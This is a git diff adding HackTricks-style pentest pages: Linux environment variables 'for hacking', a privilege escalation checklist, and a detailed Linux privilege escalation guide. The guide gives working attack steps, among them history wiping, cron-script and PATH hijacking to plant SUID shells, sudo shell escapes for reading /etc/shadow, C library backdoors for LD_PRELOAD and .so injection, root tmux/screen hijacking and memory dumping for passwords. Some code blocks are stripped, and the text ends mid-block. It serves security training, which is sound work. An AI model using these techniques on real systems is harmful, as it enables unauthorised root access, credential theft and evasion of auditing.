+**Extracted from:** [**here**](https://codeburst.io/linux-environment-variables-53cea0245dc9) **and** [**here**](https://www.gnu.org/software/bash/manual/html_node/Bash-Startup-Files.html)\*\*\*\*
+
+## Common variables
+
+From: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
+
+* **DISPLAY** – the display used by **X**. This variable is usually set to **:0.0**, which means the first display on the current computer.
+* **EDITOR** – the user’s preferred text editor.
+* **HISTFILESIZE** – the maximum number of lines contained in the history file.
+* **HISTSIZE -** Number of lines added to the history file when the user finish his session
+* **HOME** – your home directory.
+* **HOSTNAME** – the hostname of the computer.
+* **LANG** – your current language.
+* **MAIL** – the location of the user’s mail spool. Usually **/var/spool/mail/USER**.
+* **MANPATH** – the list of directories to search for manual pages.
+* **OSTYPE** – the type of operating system.
+* **PS1** – the default prompt in bash.
+* **PATH -** stores the path of all the directories which holds binary files you want to execute just by specifying the name of the file and not by relative or absolute path.
+* **PWD** – the current working directory.
+* **SHELL** – the path to the current command shell \(for example, **/bin/bash**\).
+* **TERM** – the current terminal type \(for example, **xterm**\).
+* **TZ** – your time zone.
+* **USER** – your current username.
+
+## Interesting variables for hacking
+
+### **HISTFILESIZE**
+
+Change the **value of this variable to 0**, so when you **end your session** the **history file** \(~/.bash\_history\) **will be deleted**.
+
+```bash
+export HISTFILESIZE=0
+```
+
+### **HISTSIZE**
+
+Change the **value of this variable to 0**, so when you **end your session** any command will be added to the **history file** \(~/.bash\_history\).
+
+```bash
+export HISTSIZE=0
+```
+
+### http\_proxy
+
+The processes will use the **proxy** declared here to connect to internet through **http**.
+
+```bash
+export http_proxy="http://10.10.10.10:8080"
+```
+
+### https\_proxy
+
+The processes will use the **proxy** declared here to connect to internet through **https**.
+
+```bash
+export https_proxy="http://10.10.10.10:8080"
+```
+
+### PS1
+
+Change how your prompt looks.
+
+**I have created** [**this one**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808) \(based on another, read the code\).
+
+Root:
+
+![](../.gitbook/assets/image%20%28177%29.png)
+
+Regular user:
+
+![](../.gitbook/assets/image%20%28239%29.png)
+
+One, two and three backgrounded jobs:
+
+![](../.gitbook/assets/image%20%28276%29.png)
+
+One background job, one stopped and last command dind't finish correctly:
+
+![](../.gitbook/assets/image%20%2874%29.png)
+
diff --git a/linux-unix/linux-privilege-escalation-checklist.md b/linux-unix/linux-privilege-escalation-checklist.md
new file mode 100644
index 00000000..5707c908
--- /dev/null
+++ b/linux-unix/linux-privilege-escalation-checklist.md
@@ -0,0 +1,90 @@
+---
+description: Checklist for privilege escalation in Linux
+---
+
+# Checklist - Linux Privilege Escalation
+
+### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)\*\*\*\*
+
+### [Vulnerable Kernel?](privilege-escalation/#kernel-exploits)
+
+* [ ] Search for kernel **exploits using scripts** \(linux.exploit-suggester.sh, inux-exploit-suggester2.pl, linuxprivcheckser.py\)
+* [ ] Use **Google to search** for kernel **exploits**
+* [ ] Use **searchsploit to search** for kernel **exploits**
+* [ ] **Check** if the [**sudo version** is vulnerable](privilege-escalation/#sudo-version)
+
+### [Vulnerable Processes?](privilege-escalation/#processes)
+
+* [ ] Is any **unknown software running**?
+* [ ] Is any software with **more privileges that it should have running**?
+* [ ] Search for **exploits for running processes** \(specially if running of versions\)
+* [ ] Can you **read** some interesting **process memory** \(where passwords could be saved\)?
+
+### [Known users/passwords?](privilege-escalation/#users)
+
+* [ ] Try to **use** every **known password** that you have discovered previously to login **with each** possible **user**. Try to login also without password.
+
+### [Interesting Groups?](privilege-escalation/#groups)
+
+* [ ] Check **if** you [**belong** to any **group** that can grant you **root rights**](privilege-escalation/interesting-groups-linux-pe.md).
+
+### [Weird scheduled jobs?](privilege-escalation/#scheduled-jobs)
+
+* [ ] Is the **PATH** being modified by some cron and you can **write** in it?
+* [ ] Some **modifiable script** is being **executed** or is inside **modifiable folder**?
+* [ ] Is some cron **script calling other** script that is **modifiable** by you? or using **wildcards**?
+* [ ] Have you detected that some **script** could be being **executed** very **frequently**? \(every 1, 2 or 5 minutes\)
+
+### [Any sudo command?](privilege-escalation/#commands-with-sudo-and-suid-commands)
+
+* [ ] Can you execute **any comand with sudo**? Can you use it to READ, WRITE or EXECUTE anything as root?
+* [ ] Is some **wildcard used**?
+* [ ] Is the binary specified **without path**?
+* [ ] Is _**env\_keep+=LD\_PRELOAD**_?
+
+### [Any weird suid command?](privilege-escalation/#commands-with-sudo-and-suid-commands)
+
+* [ ] **SUID** any **interesting command**? Can you use it to READ, WRITE or EXECUTE anything as root?
+* [ ] Is some **wildcard used**?
+* [ ] Is the SUID binary **executing some other binary without specifying the path**? or specifying it?
+* [ ] Is it trying to **load .so from writable folders**?
+
+### [Weird capabilities?](privilege-escalation/#capabilities)
+
+* [ ] Has any binary any **uncommon capability**?
+
+### [Open Shell sessions?](privilege-escalation/#open-shell-sessions)
+
+* [ ] screen?
+* [ ] tmux?
+
+### [Can you read some sensitive data?](privilege-escalation/#read-sensitive-data)
+
+* [ ] Can you **read** some **interesting files**? \(files with passwords, \*\_history, backups...\)
+
+### [Can you write important files?](privilege-escalation/#writable-files)
+
+* [ ] Are you able to **write files that could grant you more privileges**? \(service conf files, shadow,a script that is executed by other users, libraries...\)
+
+### [Internal open ports?](privilege-escalation/#internal-open-ports)
+
+* [ ] You should check if any undiscovered service is running in some port/interface. Maybe it is running with more privileges that it should or it is vulnerable to some kind of privilege escalation vulnerability.
+
+### [Can you sniff some passwords in the network?](privilege-escalation/#sniffing)
+
+* [ ] Can you **sniff** and get **passwords** from the **network**?
+
+### [Any service missconfigurated? NFS? belongs to docker or lxd?](privilege-escalation/#privesc-exploiting-service-misconfigurations)
+
+1. [ ] Any well known missconfiguration? \([**NFS no\_root\_squash**](privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md)\)
+
+### [Any weird executable in path?](privilege-escalation/#check-for-weird-executables)
+
+
+
+If you want to **know** about my **latest modifications**/**additions or you have any suggestion for HackTricks or PEASS**, **join the** [**PEASS & HackTricks telegram group here**](https://t.me/peass)**.**
+
+![](../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%284%29.png)
+
+[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)\*\*\*\*
+
diff --git a/linux-unix/privilege-escalation/README.md b/linux-unix/privilege-escalation/README.md
new file mode 100644
index 00000000..5ce46013
--- /dev/null
+++ b/linux-unix/privilege-escalation/README.md
@@ -0,0 +1,834 @@
+# Linux Privilege Escalation
+
+Do you want to **know** about my **latest modifications**/**additions or you have any suggestion for HackTricks or PEASS**, **join the** [**PEASS & HackTricks telegram group here**](https://t.me/peass)**.**
+
+## Kernel exploits
+
+Check the kernel version and if there is some exploit that can be used to escalate privileges
+
+```bash
+cat /proc/version
+uname -a
+searchsploit "Linux Kernel"
+```
+
+You can find a good vulnerable kernel list and some already **compiled exploits** here: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
+Other sites where you can find some **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+
+To extract all the vulnerable kernel versions from that web you can do:
+
+```bash
+curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
+```
+
+Tools that could help searching for kernel exploits are:
+
+[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)
+[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) \(execute IN victim,only checks exploits for kernel 2.x\)
+
+Always **search the kernel version in Google**, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.
+
+### Sudo version
+
+Based on the vulnerable sudo versions that appear in:
+
+```bash
+searchsploit sudo
+```
+
+You can check if the sudo version is vulnerable using this grep.
+
+```bash
+sudo -V | grep "Sudo ver" | grep "1.6.8p9\|1.6.9p18\|1.8.14\|1.8.20\|1.6.9p21\|1.7.2p4\|1\.8\.[0123]$\|1\.3\.[^1]\|1\.4\.\d*\|1\.5\.\d*\|1\.6\.\d*\|1.5$\|1.6$"
+```
+
+## Software exploits
+
+Check for the **version of the installed packages and services**. Maybe there is some old Nagios version \(for example\) that could be exploited for gaining privileges…
+
+It is recommended to check manually the version of the more suspicious installed software.
+
+```bash
+dpkg -l #Debian
+rpm -qa #Centos
+```
+
+If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine.
+
+## Users
+
+Check who are you, which privileges do you have, which users are in the systems, which ones can login and which ones have root privileges
+
+```bash
+id || (whoami && groups) 2>/dev/null #Me?
+cat /etc/passwd | cut -d: -f1 #All users
+cat /etc/passwd | grep "sh$" #Users with console
+awk -F: '($3 == "0") {print}' /etc/passwd #Superusers
+w #Currently login users
+last | tail #Login history
+```
+
+### Big UID
+
+Some Linux versions were affected by a bug that allow users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).
+**Exploit it** using: **`systemd-run -t /bin/bash`**
+
+### Known passwords
+
+If you have any password of the environment try to login as other user
+
+## Groups
+
+Check if you are in some group that could grant you root rights:
+
+[Check if you belong to any of these groups](interesting-groups-linux-pe.md)
+
+## Writable PATH abuses
+
+### $PATH
+
+If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user \(root ideally\) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH.
+
+## Services
+
+### Writable _.service_ files
+
+Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** \(maybe you will need to wait until the machine is rebooted\).
+
+### Writable service binaries
+
+Keep in mid that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed.
+
+### systemd PATH - Relative Paths
+
+You can see the PATH used by **systemd** with:
+
+```bash
+systemctl show-environment
+```
+
+If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like:
+
+```bash
+ExecStart=faraday-server
+ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
+ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
+```
+
+Then, create a **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action \(**Start**, **Stop**, **Reload**\), your **backdoor will be executed** \(unprivileged users usually cannot start/stop services but check if you can using `sudo -l`\).
+
+**Learn more about services with `man systemd.service`.**
+
+## **Timers**
+
+**Timers** are systemd unit files whose name ends in . **timer** that control . service files or events. **Timers** can be used as an alternative to cron. **Timers** have built-in support for calendar time events, monotonic time events, and can be run asynchronously.
+
+You can enumerate all the timers doing:
+
+```bash
+systemctl list-timers --all
+```
+
+### Writable timers
+
+If you can modify a timer you can make it execute some existent systemd.unit \(like a `.service` or a `.target`\)
+
+```bash
+Unit=backdoor.service
+```
+
+In the documentation you can read what the Unit is:
+
+> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. \(See above.\) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix.
+
+Therefore, in order to abuse this permissions you would need to:
+
+* find some systemd unit \(like a `.service`\) that is **executing a writable binary**
+* Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** \(to impersonate that executable\)
+
+**Learn more about timers with `man systemd.timer`.**
+
+### **Enabling Timer**
+
+In order to enable a timer you need root privileges and to execute:
+
+```bash
+sudo systemctl enable backu2.timer
+Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
+```
+
+Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer`
+
+## Sockets
+
+In brief, a Unix Socket \(technically, the correct name is Unix domain socket, **UDS**\) allows **communication between two different processes** on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. \(From [here](https://www.linux.com/news/what-socket/)\).
+
+Sockets can be configured using `.socket` files.
+
+**Learn more about sockets with `man systemd.socket`.** Inside this file some several interesting parameters can be configured:
+
+* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: This options are different but as summary as used to **indicate where is going to listen** the socket \(the path of the AF\_UNIX socket file, the IPv4/6 and/or port number to listen...\).
+* `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`.
+* `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process.
+* `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively.
+* `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket \(with the suffix replaced\). In most cases, it should not be necessary to use this option.
+
+### Writable .socket files
+
+If you find a **writable** `.socket` file you can **add** at the begging of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**
+_Note that the system must be using that socket file configuration or the backdoor won't be executed_
+
+### Writable sockets
+
+If you **identify any writable socket** \(_now where are talking about Unix Sockets, not about the config `.socket` files_\), then, **you can communicate** with that socket and maybe exploit a vulnerability.
+
+### HTTP sockets
+
+Note that there may be some **sockets listening for HTTP** requests \(_I'm not talking about .socket files but about the files acting as unix sockets_\). You can check this with:
+
+```bash
+curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
+```
+
+If the socket **respond with a HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**.
+
+## **D-Bus**
+
+D-BUS is an **interprocess communication \(IPC\) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system.
+
+D-BUS, as a full-featured IPC and object system, has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately to integrate better. For example, a Bluetooth dæmon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. ****\(From [here](https://www.linuxjournal.com/article/7744)\).
+
+D-Bus use an **allow/deny model**, where each message \(method call, signal emission, etc.\) can be **allowed or denied** according to the sum of all policy rules which match it. Each or rule in the policy should have the `own`, `send_destination` or `receive_sender` attribute set.
+
+Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`:
+
+```bash
+
+
+
+
+
+
+```
+
+Therefore, if a policy is allowing your user in anyway to **interact with the bus**, you could be able to exploit it to escalate privileges \(maybe just listing for some passwords?\).
+
+Note that a **policy** that **doesn't specify** any user or group affects everyone \(``\).
+Policies to the context "default" affects everyone not affected by other policies \(`
+(gdb) info proc mappings
+(gdb) q
+(gdb) dump memory /tmp/mem_ftp
+(gdb) q
+strings /tmp/mem_ftp #User and password
+```
+
+#### /proc/$pid/maps & /proc/$pid/mem
+
+For a given process ID, **maps shows how memory is mapped within that processes'** virtual address space; it also shows the **permissions of each mapped region**. The **mem** psuedo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file.
+
+To dump a process memory you could use:
+
+* [https://github.com/hajzer/bash-memory-dump](https://github.com/hajzer/bash-memory-dump) \(root is required\)
+* Script A.5 from [https://www.delaat.net/rp/2016-2017/p97/report.pdf](https://www.delaat.net/rp/2016-2017/p97/report.pdf) \(root is required\)
+
+## Scheduled jobs
+
+Check if any scheduled job has any type of vulnerability. Maybe you can take advantage of any script that root executes sometimes \(wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?\).
+
+```bash
+crontab -l
+ls -al /etc/cron* /etc/at*
+cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
+```
+
+### Example: Cron path
+
+For example, inside _/etc/crontab_ you can find the sentence: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_
+
+If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_
+
+Then, you can get a root shell by using:
+
+```bash
+echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
+#Wait 1 min
+/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
+```
+
+### Example: Cron using a script with a wildcard \(Wildcard Injection\)
+
+If a script being executed by root has an “**\***” inside a command, you could exploit this to make unexpected things \(like privesc\). Example:
+
+```bash
+rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
+```
+
+**The wildcard cannot be preceded of a path:** _**/some/path/\***_ **is not vulnerable \(even** _**./\***_ **is not\)**
+
+\*\*\*\*[**Read this for more Wildcards spare tricks**](wildcards-spare-tricks.md)
+
+### Example: Cron script overwriting and symlink
+
+If you can write inside a cron script executed by root, you can get a shell very easily:
+
+```bash
+echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
+#Wait until it is executed
+/tmp/bash -p
+```
+
+If the script executed by root uses somehow a directory in which you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one
+
+```bash
+ln -d -s
+```
+
+### Frequent cron jobs
+
+You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.
+
+For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and deleting the commands that have beeing executed all the time, you can do:
+
+```bash
+for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
+```
+
+You could also use [pspy](https://github.com/DominicBreuker/pspy/releases) \(this will monitor every started process\).
+
+## Commands with sudo and suid commands
+
+You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:
+
+```bash
+sudo -l #Check commands you can execute with sudo
+find / -perm -4000 2>/dev/null #Find all SUID binaries
+```
+
+Some **unexpected commands allows you to read and/or write files or even execute command.** For example:
+
+```bash
+sudo awk 'BEGIN {system("/bin/sh")}'
+sudo find /etc -exec sh -i \;
+sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
+sudo tar c a.tar -I ./runme.sh a
+ftp>!/bin/sh
+less>!
+```
+
+{% embed url="https://gtfobins.github.io/" %}
+
+### Sudo execution bypassing paths
+
+**Jump** to read other files or use **symlinks**. For example in sudeores file: _hacker10 ALL= \(root\) /bin/less /var/log/\*_
+
+```bash
+sudo less /var/logs/anything
+less>:e /etc/shadow #Jump to read other files using privileged less
+```
+
+```bash
+ln /etc/shadow /var/log/new
+sudo less /var/log/new #Use symlinks to read any file
+```
+
+If a **wilcard** is used \(\*\), it is even easier:
+
+```bash
+sudo less /var/log/../../etc/shadow #Read shadow
+sudo less /var/log/something /etc/shadow #Red 2 files
+```
+
+**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
+
+### Sudo command/SUID binary without command path
+
+If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= \(root\) less_ you can exploit it by changing the PATH variable
+
+```bash
+export PATH=/tmp:$PATH
+#Put your backdoor in /tmp and name it "less"
+sudo less
+```
+
+This technique can also be used if a **suid** binary **executes another command without specifying the path to it \(always check with** _**strings**_ **the content of a weird SUID binary\)**.
+
+[Payload examples to execute.](payloads-to-execute.md)
+
+### SUID binary with command path
+
+If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling.
+
+For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it:
+
+```bash
+function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
+export -f /usr/sbin/service
+```
+
+Then, when you call the suid binary, this function will be executed
+
+### LD\_PRELOAD
+
+**LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library \(libc.so\) This is called preloading a library.
+
+To avoid this mechanism being used as an attack vector for _suid/sgid_ executable binaries, the loader ignores _LD\_PRELOAD_ if _ruid != euid_. For such binaries, only libraries in standard paths that are also _suid/sgid_ will be preloaded.
+
+If you find inside the output of _**sudo -l**_ the sentence: _**env\_keep+=LD\_PRELOAD**_ and you can call some command with sudo, you can escalate privileges.
+
+Save as **/tmp/pe.c**
+
+```c
+#include
+#include
+#include
+
+void _init() {
+ unsetenv("LD_PRELOAD");
+ setgid(0);
+ setuid(0);
+ system("/bin/bash");
+}
+```
+
+Then **compile it** using:
+
+```bash
+cd /tmp
+gcc -fPIC -shared -o pe.so pe.c -nostartfiles
+```
+
+Finally, **escalate privileges** running
+
+```bash
+sudo LD_PRELOAD=pe.so #Use any command you can run with sudo
+```
+
+### SUID Binary – so injection
+
+If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. In order to do so you can execute:
+
+```bash
+strace 2>&1 | grep -i -E "open|access|no such file"
+```
+
+For example, if you find something like: _pen\(“/home/user/.config/libcalc.so”, O\_RDONLY\) = -1 ENOENT \(No such file or directory\)_ you can exploit it.
+
+Create the file _/home/user/.config/libcalc.c_ with the code:
+
+```c
+#include
+#include
+
+static void inject() __attribute__((constructor));
+
+void inject(){
+ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
+}
+```
+
+Compile it using:
+
+```bash
+gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
+```
+
+And execute the binary.
+
+### /etc/ld.so.conf.d/
+
+If you can create a file in `/etc/ld.so.conf.d/` and you can execute **`ldconfig`**with root privileges \(sudo or suid\) then you can **make executable load arbitrary libraries**.
+
+For example, to make executables in that system load libraries from _/tmp_ you can **create** in that folder a **config file** \(_test.conf_\) pointing to _/tmp_:
+
+{% code title="/etc/ld.so.conf.d/test.conf" %}
+```bash
+/tmp
+```
+{% endcode %}
+
+And when executing **`ldconfig`**all the **binaries inside the system will be able to load libraries** from _/tmp_.
+So if there is a **binary** that **executes** a function called **`seclogin()`** from a **library** called **`libseclogin.so`** , you can create a backdoor in _/tmp_ and impersonate that libraries with that function:
+
+{% code title="/tmp/libseclogin.so" %}
+```c
+#include
+//To compile: gcc -fPIC -shared -o libseclogin.so exploit.c
+seclogin() {
+ setgid(0); setuid(0);
+ system("/bin/bash");
+}
+```
+{% endcode %}
+
+Note in the next image that \(_having already created the backdoor on /tmp_\) having the config file in _/etc/ld.so.conf.d_ pointing to _/tmp_ after using `ldconfig` the executable `myexec`stops loading the library from `/usr/lib` and loads it from _/tmp_:
+
+![](../../.gitbook/assets/image%20%28101%29.png)
+
+_This example was taken from the HTB machine: Dab._
+
+## Capabilities
+
+[Capabilities](https://www.insecure.ws/linux/getcap_setcap.html) are a little obscure but similar in principle to SUID. Linux’s thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges they’re allowed to use. By default, root has all of them.
+
+Examples:
+
+| Capability | Description |
+| :--- | :--- |
+| CAP\_DAC\_OVERRIDE | Override read/write/execute permission checks \(full filesystem access\) |
+| CAP\_DAC\_READ\_SEARCH | Only override reading files and opening/listing directories \(full filesystem READ access\) |
+| CAP\_KILL | Can send any signal to any process \(such as sig kill\) |
+| CAP\_SYS\_CHROOT | Ability to call chroot\(\) |
+
+Capabilities are useful when you want to restrict your own processes after performing privileged operations \(e.g. after setting up chroot and binding to a socket\). However, they can be exploited by passing them malicious commands or arguments which are then run as root.
+
+You can force capabilities upon programs using `setcap`, and query these using `getcap`:
+
+```bash
+getcap /sbin/ping
+/sbin/ping = cap_net_raw+ep
+```
+
+The `+ep` means you’re adding the capability \(“-” would remove it\) as Effective and Permitted.
+
+To identify programs in a system or folder with capabilities:
+
+```bash
+getcap -r / 2>/dev/null
+```
+
+### The special case of "empty" capabilities
+
+Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:
+
+1. is not owned by root
+2. has no `SUID`/`SGID` bits set
+3. has empty capabilities set \(e.g.: `getcap myelf` returns `myelf =ep`\)
+
+then that binary will run as root.
+
+Capabilities info was extracted from [here](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux)
+
+## Open shell sessions
+
+Maybe you have access to some root unprotected shell session.
+
+### screen sessions
+
+**List screen sessions**
+
+```bash
+screen -ls
+```
+
+![](../../.gitbook/assets/image%20%28327%29.png)
+
+**Attach to a session**
+
+```bash
+screen -dr #The -d is to detacche whoeevr is attached to it
+screen -dr 3350.foo #In the example of the image
+```
+
+### tmux sessions
+
+**List tmux sessions**
+
+```bash
+tmux ls
+ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
+tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
+```
+
+![](../../.gitbook/assets/image%20%28126%29.png)
+
+**Attach to a session**
+
+```bash
+tmux attach -t myname #If you write something in this session it will appears in the other opened one
+tmux attach -d -t myname #First detach the sessinos from the other console and then access it yourself
+tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket
+```
+
+## SSH
+
+### Debian OpenSSL Predictable PRNG - CVE-2008-0166
+
+All SSL and SSH keys generated on Debian-based systems \(Ubuntu, Kubuntu, etc\) between September 2006 and May 13th, 2008 may be affected by this bug.
+This bug caused that when creating in those OS a new ssh key **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
+
+### SSH Interesting configuration values
+
+* **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`.
+* **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`.
+* **PermitEmptyPasswords**: When password authentication is allowed, it specifies whether the server allows login to accounts with empty password strings. The default is `no`.
+
+#### PermitRootLogin
+
+Specifies whether root can log in using ssh, default is `no`. Possible values:
+
+* `yes` : root can login using password and private key
+* `without-password` or `prohibit-password`: root can only login with private key
+* `forced-commands-only`: Root can login only using privatekey cand if the commands options is specified
+* `no` : no
+
+#### AuthorizedKeysFile
+
+Specifies files that contains the public keys that can be used for user authentication. I can contains tokens like `%h` , that will be replaced by the home directory. **You can indicate absolute paths** \(starting in `/`\) or **relative paths from the users home**. For example:
+
+```bash
+AuthorizedKeysFile .ssh/authorized_keys access
+```
+
+That configuration will indicate that if you try to login with the **private** key ****of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access`
+
+#### ForwardAgent/AllowAgentForwarding
+
+SSH agent forwarding allows you to **use your local SSH keys instead of leaving keys** \(without passphrases!\) sitting on your server. So, you will be able to **jump** via ssh **to a host** and from there **jump to another** host **using** the **key** located in your **initial host**.
+
+You need to set this option in `$HOME/.ssh.config` like this:
+
+```text
+Host example.com
+ ForwardAgent yes
+```
+
+Notice that if `Host` is `*` every time the user jumps to a different machine that host will be able to access the keys \(which is a security issue\).
+
+The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.
+The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` \(default is allow\).
+
+If you Forward Agent configured in an environment ****[**check here how to exploit it to escalate privileges**](ssh-forward-agent-exploitation.md).
+
+## Read sensitive data
+
+Check if you can read some sensitive files and what is contained in some folders. For example:
+
+```text
+cat /etc/shadow
+```
+
+Check the contents of **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports**
+
+```bash
+ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/
+```
+
+### \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files
+
+```bash
